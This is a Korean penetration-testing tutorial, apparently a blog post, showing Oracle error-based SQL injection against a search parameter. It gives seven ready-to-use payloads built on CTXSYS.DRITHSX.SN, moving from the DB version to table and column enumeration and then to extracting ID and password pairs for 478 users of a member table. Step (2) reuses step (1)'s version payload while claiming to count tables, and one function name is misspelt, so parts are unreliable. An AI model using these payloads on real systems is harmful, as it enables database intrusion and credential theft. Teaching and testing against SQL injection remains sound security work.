SQL Injection이란?
[모의해킹] - SQL Injection 공격(Union, Error, Blind...)
Error Based SQL Injection
Error Based SQL Injection은 사용자 입력값으로 악의적인 SQL 쿼리를 삽입하여 데이터베이스에서 발생하는 오류 메시지를 통해 민감한 정보를 추출하는 공격입니다. 주로 웹 애플리케이션이 데이터베이스 오류 메시지를 클라이언트에게 노출하거나 로그에 남기는 경우에 발생합니다.
공격대상 |
UTL_INADDR.GET_HOST_NAME((원하는 서브쿼리 내용)) |
UTL_INAADR.GET_HOST_ADDRESS((원하는 서브쿼리 내용)) |
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((원하는 서브쿼리 내용),user,user) |
CTXSYS.DRITHSX.SN(user,(원하는 서브쿼리 내용)) |
(1) DB 정보 추출
[입력] 대치동%' and ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1)) = 1 --
=> DB 정보 : Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
(2) 전체 테이블 개수 확인
[입력] 대치동%' and ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1)) = 1 --
=> 테이블 개수 : 111개
(3) 데이터 획득을 원하는 테이블 찾기(LHSMEMBER3 찾기)
[입력]
대치동%' and ctxsys.drithsx.sn(user, (select table_name from (select table_name, rownum as rnum from all_tables) where rnum=60)) = 1--
=> rnum을 111까지 번호를 증가시키면서 원하는 테이블명이 있는지 확인합니다.
=> 60번째 테이블명 : LHSMEMBER3
(4) LHSMEMBER3 테이블의 컬럼 개수 확인
[입력] 대치동%' and ctxsys.drithsx.sn(user, (select count(column_name) from all_tab_columns where table_name='LHSMEMBER3'))=1--
=> LHSMEMBER3의 컬럼 개수 : 14개
(5) LHSMEMBER3 테이블에서 원하는 컬럼명 찾기(ID, PW)
[입력] 대치동%' and ctxsys.drithsx.sn(user, (select column_name from (select column_name, rownum as rnum from all_tab_columns where table_name='LHSMEMBER3') where rnum=13))=1--
=> rnum 값을 14까지 번호를 증가시키면서 원하는 컬럼명이 있는지 확인합니다.
=> 13번째 컬럼명 : PW, 14번째 컬럼명 : ID
(6) LHSMEMBER3 테이블에 존재하는 데이터 개수 확인
[입력] 대치동%' and ctxsys.drithsx.sn(user,(select count(id) from LHSMEMBER3))=1--
=> 데이터 개수 : 478개
(7) LHSMEMBER3 테이블에서 ID와 PW 데이터 추출
[입력] 대치동%' and ctxsys.drithsx.sn(user, (SELECT id||':::::'||pw FROM (SELECT id, pw, rownum AS rnum FROM LHSMEMBER3) WHERE rnum=1))=1--
★Oracle DB에서 문자열 합치기 : concat 함수 또는 ||(파이프 두개)★
=> ID:::::PW 형식으로 추출
=> rnum 값을 478까지 번호를 증가시키면서 원하는 데이터를 찾을 때 까지 ID와 PW를 추출합니다.